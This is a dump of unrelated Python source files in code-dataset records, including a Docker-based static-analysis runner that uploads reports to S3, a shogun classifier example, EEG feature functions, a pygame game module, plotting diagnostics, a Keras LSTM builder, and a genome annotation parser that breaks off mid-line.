['ruby','javascript','python','java','nodejs','license','go','python2']\n\ndef detect_lang():\n cd_lang=''\n client = docker.DockerClient(base_url='unix://var/run/docker.sock')\n container = client.containers.run('nixsupport/linguist:v4', volumes={os.getcwd(): {'bind': '/scan', 'mode': 'rw'}}, detach=True, tty=False, stdout=False)\n container.wait()\n f = open(\"lang.txt\", \"r\")\n lines = f.read().splitlines()\n #try:\n for line in lines:\n if line.lower() in languages:\n cd_lang=line.lower()\n break\n get_sast(cd_lang)\n #except:\n # print('Language not supported...')\n # xsuppexit(0)\n #get_code_lang(cd_lang)\n\ndef get_code_lang():\n with open(\"config.yaml\", 'r') as stream:\n try:\n read_yaml = yaml.safe_load(stream)\n scanner = read_yaml['scanner']\n if scanner == 'sast':\n #code_lang = read_yaml['language']\n print('SAST scanner selected')\n detect_lang() \n elif scanner == 'license':\n print('License scanner selected')\n code_lang = 'license'\n get_sast(code_lang)\n except yaml.YAMLError as exc:\n print(exc)\n\ndef get_sast(code_lang):\n if code_lang in languages:\n print('Supported language %s found' %code_lang)\n if code_lang == 'ruby':\n scanner = 'brakeman'\n launch_scanner(scanner)\n elif code_lang == 'java':\n scanner = 'spotbugs'\n launch_scanner(scanner)\n elif code_lang in ['nodejs','javascript']:\n scanner = 'nodejsscan'\n launch_scanner(scanner)\n elif code_lang == 'license':\n scanner = 'licensescan'\n launch_scanner(scanner)\n elif code_lang == 'go':\n scanner = 'gosec'\n launch_scanner(scanner)\n elif code_lang == 'python2':\n scanner = 'banditpy2'\n launch_scanner(scanner)\n\n else:\n print('Language not supported')\n\ndef launch_scanner(scanner):\n print('Launching scanner %s ' %scanner)\n print('Pulling latest image for %s ' %scanner)\n client = docker.DockerClient(base_url='unix://var/run/docker.sock')\n print('Scanning started')\n if scanner == 'brakeman':\n #client.images.pull('brakeman:v3')\n container = client.containers.run('nixsupport/brakeman:v4', volumes={os.getcwd(): {'bind': '/scan', 'mode': 'rw'}}, detach=True, tty=False, stdout=False)\n container.wait()\n output_file = 'sken-'+scanner+'-output.json'\n #call upload function\n upload_output(output_file)\n\n elif scanner == 'spotbugs':\n #client.images.pull('spotbugs:v1')\n container = client.containers.run('nixsupport/spotbugs:v1', volumes={os.getcwd(): {'bind': '/scan', 'mode': 'rw'}}, detach=True, tty=False, stdout=False)\n container.wait()\n output_file = 'sken-'+scanner+'-output.xml'\n #call upload function\n upload_output(output_file)\n\n elif scanner == 'nodejsscan':\n #client.images.pull('spotbugs:v1')\n container = client.containers.run('nixsupport/nodejsscan:v1', volumes={os.getcwd(): {'bind': '/scan', 'mode': 'rw'}}, detach=True, tty=False, stdout=False)\n container.wait()\n output_file = 'sken-'+scanner+'-output.json'\n #call upload function\n upload_output(output_file)\n elif scanner == 'licensescan':\n container = client.containers.run('nixsupport/license:v1', volumes={os.getcwd(): {'bind': '/scan', 'mode': 'rw'}}, detach=True, tty=False, stdout=False)\n container.wait()\n output_file = 'sken-'+scanner+'-output.json'\n #call upload function\n upload_output(output_file)\n elif scanner == 'gosec':\n container = client.containers.run('nixsupport/gosec:v1', volumes={os.getcwd(): {'bind': '/scan', 'mode': 'rw'}}, detach=True, tty=False, stdout=False)\n container.wait()\n output_file = 'sken-'+scanner+'-output.json'\n #call upload function\n upload_output(output_file)\n elif scanner == 'banditpy2':\n container = client.containers.run('nixsupport/banditpy2:v1', volumes={os.getcwd(): {'bind': '/scan', 'mode': 'rw'}}, detach=True, tty=False, stdout=False)\n container.wait()\n output_file = 'sken-'+scanner+'-output.json'\n #call upload function\n upload_output(output_file)\n\n \n\n \ndef upload_output(output_file):\n\n with open(\"config.yaml\", 'r') as stream:\n try:\n read_yaml = yaml.safe_load(stream)\n buildtool = read_yaml['buildtool']\n if buildtool == 'jenkins':\n s3 = boto3.client('s3')\n print('Uploading report file: %s' %output_file)\n s3.upload_file(output_file,'sken-scanner-output',output_file)\n elif buildtool == 'travis':\n session = boto3.Session(aws_access_key_id=os.environ['AWS_ACCESS_KEY'], aws_secret_access_key=os.environ['AWS_SECRET_KEY'], region_name=os.environ['AWS_DEFAULT_REGION'])\n s3 = session.client('s3')\n print('Uploading report file: %s' %output_file)\n s3.upload_file(output_file,'sken-scanner-output',output_file)\n\n except yaml.YAMLError as exc:\n print(exc)\n\n \n #For TravisCI\n #session = boto3.Session(aws_access_key_id=os.environ['AWS_ACCESS_KEY'], aws_secret_access_key=os.environ['AWS_SECRET_KEY'], region_name=os.environ['AWS_DEFAULT_REGION'])\n #s3 = session.client('s3')\n\n #For Jenkins\n #s3 = boto3.client('s3')\n #print('Uploading report file: %s' %output_file)\n #s3.upload_file(output_file,'sken-scanner-output',output_file)\n\nif __name__ == \"__main__\":\n get_code_lang()\n #get_sast(code_lang)\n","sub_path":"sken-runner.py","file_name":"sken-runner.py","file_ext":"py","file_size_in_byte":5860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"596027708","text":"#!/usr/bin/env python\nfrom tools.multiclass_shared import prepare_data\n\n[traindat, label_traindat, testdat, label_testdat] = prepare_data(False)\n\nparameter_list = [[traindat,testdat,label_traindat,label_testdat,2.1,1,1e-5],[traindat,testdat,label_traindat,label_testdat,2.2,1,1e-5]]\n\ndef classifier_multiclassliblinear (fm_train_real=traindat,fm_test_real=testdat,label_train_multiclass=label_traindat,label_test_multiclass=label_testdat,width=2.1,C=1,epsilon=1e-5):\n\tfrom shogun import MulticlassLabels\n\timport shogun as sg\n\n\tfeats_train=sg.features(fm_train_real)\n\tfeats_test=sg.features(fm_test_real)\n\n\tlabels=MulticlassLabels(label_train_multiclass)\n\n\tclassifier = sg.machine(\"MulticlassLibLinear\", C=C, labels=labels)\n\tclassifier.train(feats_train)\n\n\tlabel_pred = classifier.apply(feats_test)\n\tout = label_pred.get(\"labels\")\n\n\tif label_test_multiclass is not None:\n\t\tfrom shogun import MulticlassAccuracy\n\t\tlabels_test = MulticlassLabels(label_test_multiclass)\n\t\tevaluator = MulticlassAccuracy()\n\t\tacc = evaluator.evaluate(label_pred, labels_test)\n\t\tprint('Accuracy = %.4f' % acc)\n\n\treturn out\n\nif __name__=='__main__':\n\tprint('MulticlassLibLinear')\n\tclassifier_multiclassliblinear(*parameter_list[0])\n","sub_path":"examples/undocumented/python/classifier_multiclassliblinear.py","file_name":"classifier_multiclassliblinear.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"25345985","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 30 19:46:12 2017\r\n\r\n@author: Lab1\r\n\"\"\"\r\n\r\nimport math\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\ndef getMMDFeature(x, SampleFreq = 100, EpochLengthSec = 10, N_EpochSubWindows = 10):\r\n minValue = float('Inf')\r\n maxValue = float('-Inf')\r\n minIndex = -1\r\n maxIndex = -1\r\n Index = 0\r\n \r\n SubWindowLength = EpochLengthSec * SampleFreq / N_EpochSubWindows\r\n \r\n \r\n NextSliceStart = 0\r\n xSlices = list()\r\n \r\n for Slice in range(len(x)/SubWindowLength):\r\n NextSliceStop = NextSliceStart + SubWindowLength - 1\r\n if(NextSliceStop > len(x)):\r\n NextSliceStop = len(x)\r\n xSlices.append(x[NextSliceStart : NextSliceStop])\r\n NextSliceStart = NextSliceStart + SubWindowLength\r\n \r\n if((len(x) - 1) > NextSliceStart):\r\n xSlices.append(x[NextSliceStart : len(x)])\r\n \r\n MMDs = list()\r\n for Slice in xSlices:\r\n for value in Slice:\r\n if (minValue > value):\r\n minValue = value\r\n minIndex = Index \r\n if (maxValue < value):\r\n maxValue = value\r\n maxIndex = Index \r\n Index += 1 \r\n deltaValue = (maxValue - minValue)**2\r\n deltaIndex = (maxIndex - minIndex)**2\r\n MMDs.append((deltaValue + deltaIndex)**0.5)\r\n \r\n MMDFeature = 0\r\n for MMD in MMDs:\r\n MMDFeature = MMDFeature + MMD\r\n \r\n Result = [MMDFeature, len(xSlices)]\r\n return MMDFeature\r\n \r\ndef geteSYSFeature(x, SampleFreq = 100, EpochLengthSec = 10, MidBandFreq = 5):\r\n Temp = 0\r\n for value in x:\r\n Temp = Temp + (value**2)\r\n \r\n N = SampleFreq * EpochLengthSec\r\n wavelength = 100\r\n if(N >= 10000):\r\n wavelength = 10 ** ((math.log(N,10)) - 1)\r\n \r\n eSYSFeature = Temp * MidBandFreq * wavelength\r\n \r\n return eSYSFeature\r\n\r\n\r\nif __name__ == '__main__':\r\n t = np.linspace(0, 10, 1001)\r\n x = np.sin(2 * np.pi * t)\r\n \r\n print(getMMDFeature(x,100,10,10))\r\n print(geteSYSFeature(x,100,10,10))\r\n \r\n plt.plot(t,x, label = 'Data')","sub_path":"Dependencies/EEG_Feature_Extraction.py","file_name":"EEG_Feature_Extraction.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"49893571","text":"def getTotalX(a, b):\n a = sorted(a)\n b = sorted(b)\n\n betwixt = []\n\n for i in range(1, b[0] + 1):\n potential_factor = a[0] * i\n if potential_factor > b[0]:\n break\n\n between_two = True\n for j in range(len(a)):\n if potential_factor % a[j] != 0:\n between_two = False\n\n if between_two:\n betwixt.append(potential_factor)\n\n for i in range(len(betwixt)):\n if i >= len(betwixt):\n break\n\n for j in range(len(b)):\n if b[j] % betwixt[i] != 0:\n betwixt[i] = 0\n break\n\n betwixt = list(filter(lambda a: a != 0, betwixt))\n\n return len(betwixt)\n\n\na = [1]\nb = [100]\nprint(getTotalX(a, b))\n","sub_path":"hackerrank/problem-solving/problem16-between-sets.py","file_name":"problem16-between-sets.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"551533298","text":"import sys, pygame\n\n\ndef check_events(ship):\n\t\"\"\"Responde a eventos de pressionamento de teclas e de mouse.\"\"\"\n\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tsys.exit()\n\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_RIGHT:\n\t\t\t\t\t#Move a espaçonave para a direita\n\t\t\t\t\tship.moving_right = True\n\t\t\t\telif event.key == pygame.K_LEFT:\n\t\t\t\t\t#Move a espaçonave para a esquerda\n\t\t\t\t\tship.moving_left = True\n\n\t\t\telif event.type == pygame.KEYUP:\n\t\t\t\tif event.key == pygame.K_RIGHT:\n\t\t\t\t\tship.moving_right = False\n\t\t\t\telif event.key == pygame.K_LEFT:\n\t\t\t\t\t#Move a espaçonave para a esquerda\n\t\t\t\t\tship.moving_left = False\n\n\ndef update_screen(ai_settings, screen, ship):\n\t\"\"\"Atualiza as imagens na tela e alterna para a nova tela.\"\"\"\n\t# Redesenha a tela a cada passagem pelo laço.\n\tscreen.fill(ai_settings.bg_color)\n\tship.blitme()\n\n\t# Deixa visível a tela mais recente\n\tpygame.display.flip()\n\n","sub_path":"alienigenas/game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"578221362","text":"from math import sqrt\nfrom os import listdir\nfrom os.path import isfile, join\n\nimport click\nimport matplotlib.pyplot as plt\n\n# BJK\n# import matplotlib\n# matplotlib.use('MacOSX')\n\nimport numpy as np\nfrom amuse.io import read_set_from_file\nfrom amuse.units import units\nfrom utils import get_bhs, parse_files\n\n\n# BK: This function should ultimately return the r bins and\n# density profile, but for now it just plots rho(r).\ndef plot_density_profile(path):\n bodies = read_set_from_file(path, \"hdf5\")\n\n M_IMBH = None\n # Read in IMBH mass and remove non-DM particles\n for b in bodies:\n if b.name == \"IMBH\":\n M_IMBH = b.mass.in_(units.MSun).number\n if b.name != \"dmp\":\n bodies = bodies - b\n\n if M_IMBH is None:\n raise ValueError(\"IMBH not found!\")\n\n # Bin the radial positions of the DM particles\n N_DM = len(bodies)\n r_vals = np.array(\n [(bodies[i].position.length()).in_(units.parsec).number for i in range(N_DM)]\n )\n\n N_bins = 50\n r_bins = np.geomspace(1e-11, 1e-5, N_bins + 1)\n\n r_counts, r_bins = np.histogram(r_vals, r_bins)\n r_counts = (\n r_counts * bodies[0].mass.in_(units.MSun).number\n ) # Multiply by mass per particle\n r_c = np.sqrt(r_bins[:-1] * r_bins[1:]) # Bin centres\n\n # Volume per r-bin\n dV = (4 * np.pi / 3) * (r_bins[1:] ** 3 - r_bins[:-1] ** 3)\n\n # Underlying density profile\n rho_sp = 226 # M_sun/pc^3\n gamma = 7.0 / 3.0\n r_sp = ((3 - gamma) * (0.2 ** (3.0 - gamma)) * M_IMBH / (2 * np.pi * rho_sp)) ** (\n 1.0 / 3.0\n )\n r_t = 1e-5 * r_sp * (100 / M_IMBH) ** (3 / 2)\n alpha = 2.0\n rho_IC = rho_sp * (r_c / r_sp) ** (-gamma) / ((1 + r_c / r_t) ** alpha)\n\n plt.figure()\n\n plt.loglog(r_c, rho_IC, linestyle=\"--\")\n plt.loglog(r_c, r_counts / dV)\n\n plt.xlabel(r\"$r$ [pc]\")\n plt.ylabel(r\"$\\rho_\\mathrm{DM}$ [$M_\\odot$ pc$^{-3}$]\")\n\n plt.show()\n\n\ndef plot(ts, z_imbhs, z_bhs, bh_separations, r_com_bhs, r_coms, Ks, Us, fig_path):\n fig, axes = plt.subplots(2, 2, figsize=(10, 10))\n\n ax = axes[0, 0]\n ax.plot(ts, z_imbhs, label=\"IMBH\")\n ax.plot(ts, z_bhs, label=\"BH\")\n ax.set_ylabel(r\"$z$ (pc)\")\n\n ax = axes[0, 1]\n ax.plot(ts, bh_separations)\n ax.set_ylabel(r\"Black hole separation (pc)\")\n\n ax = axes[1, 0]\n ax.plot(ts, r_com_bhs, label=\"BHs\")\n ax.plot(ts, r_coms, label=\"Total\")\n ax.set_ylabel(r\"COM coordinates (pc)\")\n\n ax = axes[1, 1]\n ax.plot(ts, Ks + Us, label=r\"$E_{\\mathrm{tot}}$\")\n ax.set_ylabel(r\"Energy ($M_\\odot \\mathrm{km}^2/\\mathrm{s}^2$)\")\n\n for ax in axes.flatten():\n ax.set_xlabel(r\"$t$ (s)\")\n ax.legend()\n\n fig.tight_layout()\n fig.savefig(fig_path)\n\n\n@click.command()\n@click.option(\n \"--snap_dir\",\n default=\"../snapshots\",\n help=\"directory containing simulation snapshots\",\n)\n@click.option(\"--snap_format\", default=\"hdf5\")\n@click.option(\"--fig_path\", default=\"diagnostics.png\", help=\"path for saving figure\")\ndef run(snap_dir, snap_format, fig_path):\n ts, z_imbhs, z_bhs, bh_separations, r_com_bhs, r_coms, Ks, Us = parse_files(\n snap_dir, snap_format, verbose=True\n )\n print(f\"> Parsed {len(ts)} snapshots\")\n\n plot(ts, z_imbhs, z_bhs, bh_separations, r_com_bhs, r_coms, Ks, Us, fig_path)\n print(\"> Generated diagnostic plots\")\n\n\nif __name__ == \"__main__\":\n run()\n","sub_path":"scripts/diagnostics.py","file_name":"diagnostics.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"627035744","text":"import logging\nLOG_FORMAT = \"【%(asctime)s】\\n\" \\\n \"路径:%(pathname)s\\n\" \\\n \"文件:%(filename)s\\n\" \\\n \"行号:%(lineno)d\\n\" \\\n \"函数:%(funcName)s\\n\" \\\n \"级别:%(levelname)s\\n\" \\\n \"内容:%(message)s\\n\"\nDATE_FORMAT = \"%Y.%m.%d.%H:%M:%S%p\"\n\nlogging.basicConfig(filename='my.log',\n level=logging.DEBUG,\n format=LOG_FORMAT,\n datefmt=DATE_FORMAT)\n\ndef test_log():\n logging.debug(\"This is a debug log.\")\n logging.info(\"This is a info log.\")\n logging.warning(\"This is a warning log.\")\n logging.error(\"This is a error log.\")\n logging.critical(\"This is a critical log.\")\n\n\n\ntest_log()\n\n\nc='传递一个参数试试'\nlogging.info(\"Test: %s\",c)","sub_path":"stu02/35.py","file_name":"35.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"164980082","text":"from tensorflow.keras.layers import *\nfrom tensorflow.keras.models import *\n\nfrom ModelUtils.Models.structurer import LstmStructurer\n\n\n\n################################################################## Beginin of MLP Part ##########################################################################################\n\ndef create_lstm(lstm_struct: LstmStructurer) -> Model:\n assert (lstm_struct.nb_classes > 0)\n\n input_tensor = Input((32, 96))\n\n lstm_tensor = input_tensor\n for i in range(lstm_struct.nb_layers - 1):\n lstm_tensor = LSTM(units= lstm_struct.units,\n kernel_regularizer=lstm_struct.kernel_regularizer,\n recurrent_regularizer=lstm_struct.recurrent_regularizer,\n dropout=lstm_struct.dropout_value,\n recurrent_dropout=lstm_struct.recurrent_dropout_value,\n return_sequences=True\n )(lstm_tensor)\n\n lstm_tensor = LSTM(units=lstm_struct.units,\n kernel_regularizer=lstm_struct.kernel_regularizer,\n recurrent_regularizer=lstm_struct.recurrent_regularizer,\n dropout=lstm_struct.dropout_value,\n recurrent_dropout=lstm_struct.recurrent_dropout_value,\n return_sequences=False\n )(lstm_tensor)\n\n output_tensor = Dense(lstm_struct.nb_classes, activation=lstm_struct.output_activation, kernel_regularizer=lstm_struct.output_regularizer)(lstm_tensor)\n\n model = Model(input_tensor, output_tensor)\n\n model.compile(loss=lstm_struct.loss, optimizer=lstm_struct.optimizer, metrics=lstm_struct.metrics)\n\n return model\n\ndef getLstmStructAsString(lstm_structurer: LstmStructurer) -> str:\n return \"{};{};{};{};{};{};{};{};{};{};{};{};{};{};{}\".format(lstm_structurer.nb_layers,\n lstm_structurer.units,\n lstm_structurer.activation,\n lstm_structurer.recurrent_activation,\n lstm_structurer.output_activation,\n lstm_structurer.dropout_value,\n lstm_structurer.recurrent_dropout_value,\n lstm_structurer.kernel_regularizer.__class__.__name__,\n lstm_structurer.recurrent_regularizer.__class__.__name__,\n lstm_structurer.output_regularizer.__class__.__name__,\n lstm_structurer.l1_value,\n lstm_structurer.l2_value,\n lstm_structurer.loss,\n lstm_structurer.optimizer,\n \" \".join(lstm_structurer.metrics))\n","sub_path":"ModelUtils/Models/LSTM.py","file_name":"LSTM.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"593860590","text":"###############################################################################\n# This is the Annotation Parser File\n# INPUTS: inputs are the annotation files to parse. Currently, only gbff is supported.\n# OUTPUTS: the outputs are data structures that store the parsed data\n################################################################################\n\nfrom PyQt5 import QtWidgets\nimport gffutils\nimport GlobalSettings\nimport os\nfrom Bio import SeqIO\nimport traceback\n\n#global logger\nlogger = GlobalSettings.logger\n\nclass Annotation_Parser:\n def __init__(self):\n try:\n #variables to use\n self.annotationFileName = \"\" #this is the variable that holds the filename itself\n self.txtLocusTag = False\n self.isGff = False\n self.isTxt = False\n self.max_chrom = 0\n\n #dictionary used for finding the genes in a txt annotation file\n #key: locus_tag\n #value: List of lists\n # essentially its all based on locus tag. So the key is the locus tag, and its data is:\n # [genomic accession, int, start, end, +\\-]\n self.reg_dict = dict()\n\n #parallel dictionary used for the txt annotaion file\n #key: name + symbol (space in between each word)\n #value: locus_tag (indexes dict)\n self.para_dict = dict()\n \n #list of tuples containing (chromosome/scaffold # {int}, Feature matching search criteria {SeqFeature Object})\n self.results_list = list()\n\n except Exception as e:\n logger.critical(\"Error initializing Annotation_Parser class.\")\n logger.critical(e)\n logger.critical(traceback.format_exc())\n msgBox = QtWidgets.QMessageBox()\n msgBox.setStyleSheet(\"font: \" + str(GlobalSettings.mainWindow.fontSize) + \"pt 'Arial'\")\n msgBox.setIcon(QtWidgets.QMessageBox.Icon.Critical)\n msgBox.setWindowTitle(\"Fatal Error\")\n msgBox.setText(\"Fatal Error:\\n\"+str(e)+ \"\\n\\nFor more information on this error, look at CASPER.log in the application folder.\")\n msgBox.addButton(QtWidgets.QMessageBox.StandardButton.Close)\n msgBox.exec()\n\n exit(-1)\n\n ### This function takes a list of lists and flattens it into a single list. Useful when dealing with a list of lists where the nested lists only have 1 entry.\n def flatten_list(self,t):\n return [item.lower() for sublist in t for item in sublist]\n\n def get_sequence_info(self, query):\n try:\n self.results_list.clear()\n parser = SeqIO.parse(self.annotationFileName, 'genbank') # Initialize parser (iterator) for each query\n for j,record in enumerate(parser): # Each record corresponds to a chromosome/scaffold in the FNA/FASTA file\n tmp = str(record.seq).find(query)\n if tmp != -1: # If match is found\n return (j+1,tmp+1,tmp+len(query)) # Chromosome number, start index, stop index\n else:\n continue # Move to the next chromosome\n return False\n \n except Exception as e:\n logger.critical(\"Error in get_sequence_info() in annotation parser.\")\n logger.critical(e)\n logger.critical(traceback.format_exc())\n msgBox = QtWidgets.QMessageBox()\n msgBox.setStyleSheet(\"font: \" + str(GlobalSettings.mainWindow.fontSize) + \"pt 'Arial'\")\n msgBox.setIcon(QtWidgets.QMessageBox.Icon.Critical)\n msgBox.setWindowTitle(\"Fatal Error\")\n msgBox.setText(\"Fatal Error:\\n\"+str(e)+ \"\\n\\nFor more information on this error, look at CASPER.log in the application folder.\")\n msgBox.addButton(QtWidgets.QMessageBox.StandardButton.Close)\n msgBox.exec()\n\n exit(-1)\n \n\n\n \n ### The workhorse function of AnnotationParser, this searches the annotation file for the user's search and returns features matching the description.\n def genbank_search(self, queries, same_search):\n index_number = 0\n try:\n if same_search: # If searching for the same thing, just return the results from last time\n return self.results_list\n else:\n self.results_list.clear()\n for i, query in enumerate(queries):\n parser = SeqIO.parse(self.annotationFileName, 'genbank') # Initialize parser (iterator) for each query\n for j,record in enumerate(parser): # Each record corresponds to a chromosome/scaffold in the FNA/FASTA file\n if i == 0:\n index_number += 1\n for feature in record.features: # Each feature corresponds to a gene, tRNA, rep_origin, etc. in the given record (chromosome/scaffold)\n if \"translation\" in feature.qualifiers:\n if query.lower() in \" \".join(self.flatten_list(feature.qualifiers.values())[:-1]) and feature.type != \"source\" and feature.type != \"gene\": # If search matches the feature's qualifiers somewhere, save it\n self.results_list.append((j+1,feature))\n else: # If search not in the feature's qualifiers, move to the next feature\n continue\n else:\n if query.lower() in \" \".join(self.flatten_list(feature.qualifiers.values())) and feature.type != \"source\" and feature.type != \"gene\": # If search matches the feature's qualifiers somewhere, save it\n self.results_list.append((j+1,feature))\n else: # If search not in the feature's qualifiers, move to the next feature\n continue\n self.max_chrom = index_number # Counts the number of chromosomes/scaffolds in the organism (only do this once, even if there are multiple queries)\n else:\n for feature in record.features:\n if \"translation\" in feature.qualifiers:\n if query.lower() in \" \".join(self.flatten_list(feature.qualifiers.values())[:-1]) and feature.type != \"source\" and feature.type != \"gene\": # If search matches the feature's qualifiers somewhere, save it\n self.results_list.append((j+1,feature))\n else: # If search not in the feature's qualifiers, move to the next feature\n continue\n else:\n if query.lower() in \" \".join(self.flatten_list(feature.qualifiers.values())) and feature.type != \"source\" and feature.type != \"gene\": # If search matches the feature's qualifiers somewhere, save it\n self.results_list.append((j+1,feature))\n else: # If search not in the feature's qualifiers, move to the next feature\n continue\n return self.results_list\n\n except Exception as e:\n logger.critical(\"Error in genbank_search() in annotation parser.\")\n logger.critical(e)\n logger.critical(traceback.format_exc())\n msgBox = QtWidgets.QMessageBox()\n msgBox.setStyleSheet(\"font: \" + str(GlobalSettings.mainWindow.fontSize) + \"pt 'Arial'\")\n msgBox.setIcon(QtWidgets.QMessageBox.Icon.Critical)\n msgBox.setWindowTitle(\"Fatal Error\")\n msgBox.setText(\"Fatal Error:\\n\"+str(e)+ \"\\n\\nFor more information on this error, look at CASPER.log in the application folder.\")\n msgBox.addButton(QtWidgets.QMessageBox.StandardButton.Close)\n msgBox.exec()\n\n exit(-1)\n \n\n\n\n # This function parses gff files and stores them in a dictionary\n # It also creates a parallel dictionary to use in searching\n # Precondition: ONLY TO BE USED WITH GFF FILES\n def gff_parse(self):\n try:\n self.reg_dict.clear()\n self.para_dict.clear()\n prevFirstIndex = \"\"\n indexNumber = 1\n fileStream = open(self.annotationFileName)\n data_base_file_name = GlobalSettings.CSPR_DB + \"/\" + \"gff_database.db\"\n\n # temp list will be the following each time it is put into the dictionary:\n # [Sequence ID (genomic accession or scaffold), the index number itself, the feature type (cds, gene, mrna), the start(-1), end, and the strand]\n tempList = list()\n currentLocusTag = \"\"\n para_dict_key_string = \"\"\n\n # initialize the data base (this is what parses it for me)\n print(\"Intializing the data base\")\n db = gffutils.create_db(self.annotationFileName, dbfn=data_base_file_name, force=True, keep_order=True,\n merge_strategy='merge', sort_attribute_values=True)\n print(\"Finished intializing\")\n\n # call the feature version of that data base now\n db = gffutils.FeatureDB(data_base_file_name, keep_order=True)\n\n # now we go through that data base and get the data we want\n for feature in db.all_features(limit=None, strand=None, featuretype=None, order_by=None, reverse=False,\n completely_within=False):\n # if the genomic accession/scaffold/chromseome changes, update the indexNumber\n if prevFirstIndex != feature.seqid and prevFirstIndex != \"\":\n indexNumber += 1\n # if we find a new gene, update the locus_tag/name\n if feature.featuretype == \"gene\" or feature.featuretype == 'pseudogene':\n\n # check and see if locus tag is in the attributes, go on the Name if locus_tag is not in there\n if 'locus_tag' in feature.attributes:\n currentLocusTag = feature.attributes['locus_tag'][0]\n else:\n currentLocusTag = feature.attributes[\"Name\"][0]\n\n # once the locus tag changes, append it to the para_dict\n if para_dict_key_string != \"\":\n if para_dict_key_string not in self.para_dict:\n self.para_dict[para_dict_key_string] = list()\n self.para_dict[para_dict_key_string].append(currentLocusTag)\n else:\n if currentLocusTag not in self.para_dict[para_dict_key_string]:\n self.para_dict[para_dict_key_string].append(currentLocusTag)\n para_dict_key_string = \"\"\n\n tempList = [currentLocusTag, indexNumber, feature.featuretype, feature.start - 1, feature.end,\n feature.strand]\n\n # insert that locus tag/name into the dictionary\n if currentLocusTag not in self.reg_dict:\n self.reg_dict[currentLocusTag] = []\n self.reg_dict[currentLocusTag].append(tempList)\n elif currentLocusTag in self.reg_dict:\n self.reg_dict[currentLocusTag].append(tempList)\n\n # go through each of this child's children\n for child in db.children(feature.id, level=None, featuretype=None, order_by=None, reverse=False,\n limit=None, completely_within=False):\n tempList = [currentLocusTag, indexNumber, child.featuretype, child.start - 1, child.end, child.strand]\n\n # only insert it if it hasn't been inserted before\n if tempList not in self.reg_dict[currentLocusTag]:\n self.reg_dict[currentLocusTag].append(tempList)\n\n # now go through the other ones which are not region\n elif feature.featuretype != \"region\" and feature.featuretype != \"telomere\" and feature.featuretype != \"origin_of_replication\":\n tempList = [currentLocusTag, indexNumber, feature.featuretype, feature.start - 1, feature.end,\n feature.strand]\n\n # only insert if it hasn't been inserted before\n if tempList not in self.reg_dict[currentLocusTag]:\n self.reg_dict[currentLocusTag].append(tempList)\n\n # now same as above, go through the children again\n for child in db.children(feature.id, level=None, featuretype=None, order_by=None, reverse=False,\n limit=None, completely_within=False):\n tempList = [currentLocusTag, indexNumber, child.featuretype, child.start - 1, child.end,\n child.strand]\n\n if tempList not in self.reg_dict[currentLocusTag]:\n self.reg_dict[currentLocusTag].append(tempList)\n\n # now we need to get the para_dict up and running\n # get the stuff out of the product part\n if 'product' in feature.attributes and feature.featuretype == \"CDS\":\n if para_dict_key_string == \"\":\n para_dict_key_string = feature.attributes['product'][0]\n else:\n para_dict_key_string = para_dict_key_string + \";\" + feature.attributes['product'][0]\n # get the stuff out of the Note part\n if 'Note' in feature.attributes:\n if para_dict_key_string == \"\":\n para_dict_key_string = feature.attributes['Note'][0]\n else:\n para_dict_key_string = para_dict_key_string + \";\" + feature.attributes['Note'][0]\n\n prevFirstIndex = feature.seqid\n self.max_chrom = indexNumber\n except Exception as e:\n logger.critical(\"Error in gff_parse() in annotation parser.\")\n logger.critical(e)\n logger.critical(traceback.format_exc())\n msgBox = QtWidgets.QMessageBox()\n msgBox.setStyleSheet(\"font: \" + str(GlobalSettings.mainWindow.fontSize) + \"pt 'Arial'\")\n msgBox.setIcon(QtWidgets.QMessageBox.Icon.Critical)\n msgBox.setWindowTitle(\"Fatal Error\")\n msgBox.setText(\"Fatal Error:\\n\"+str(e)+ \"\\n\\nFor more information on this error, look at CASPER.log in the application folder.\")\n msgBox.addButton(QtWidgets.QMessageBox.StandardButton.Close)\n msgBox.exec()\n\n exit(-1)\n\n # This function parses txt files and stores them in a dictionary\n # It also creates a parallel dictionary to use in searching\n # Precondition: ONLY TO BE USED WITH TXT FILES\n def txt_parse(self):\n try:\n self.reg_dict.clear()\n prevGenAccession = \"\"\n indexNumber = 1\n fileStream = open(self.annotationFileName)\n buffer = \"\"\n currentLocusTag = \"\"\n para_dict_key_string = \"\"\n\n while(True): # this loop breaks out when buffer string is empty\n buffer = fileStream.readline()\n\n if(buffer.startswith(\"#\")): #skip lines that start with #\n continue\n else:\n if(len(buffer) <= 2): # break out once we reach the end of the file\n break\n\n splitLine = buffer[:-1].split(\"\\t\")\n\n # increment indexNumber when genomic access changes\n if prevGenAccession != splitLine[6] and prevGenAccession != \"\":\n indexNumber += 1\n\n # if parsing on locus_tag, use the locus_tag as the key for the dict\n if self.txtLocusTag:\n currentLocusTag = splitLine[16]\n values = [currentLocusTag, indexNumber, splitLine[0], int(splitLine[7]) - 1, int(splitLine[8]), splitLine[9]]\n\n if currentLocusTag not in self.reg_dict:\n self.reg_dict[currentLocusTag] = [values]\n elif currentLocusTag in self.reg_dict:\n self.reg_dict[currentLocusTag].append(values)\n\n # if no locus_tag, parse on product_accession, use the product_accession as the key for the dict\n elif not self.txtLocusTag:\n currentLocusTag = splitLine[10]\n values = [currentLocusTag, indexNumber, splitLine[0], int(splitLine[7]) - 1, 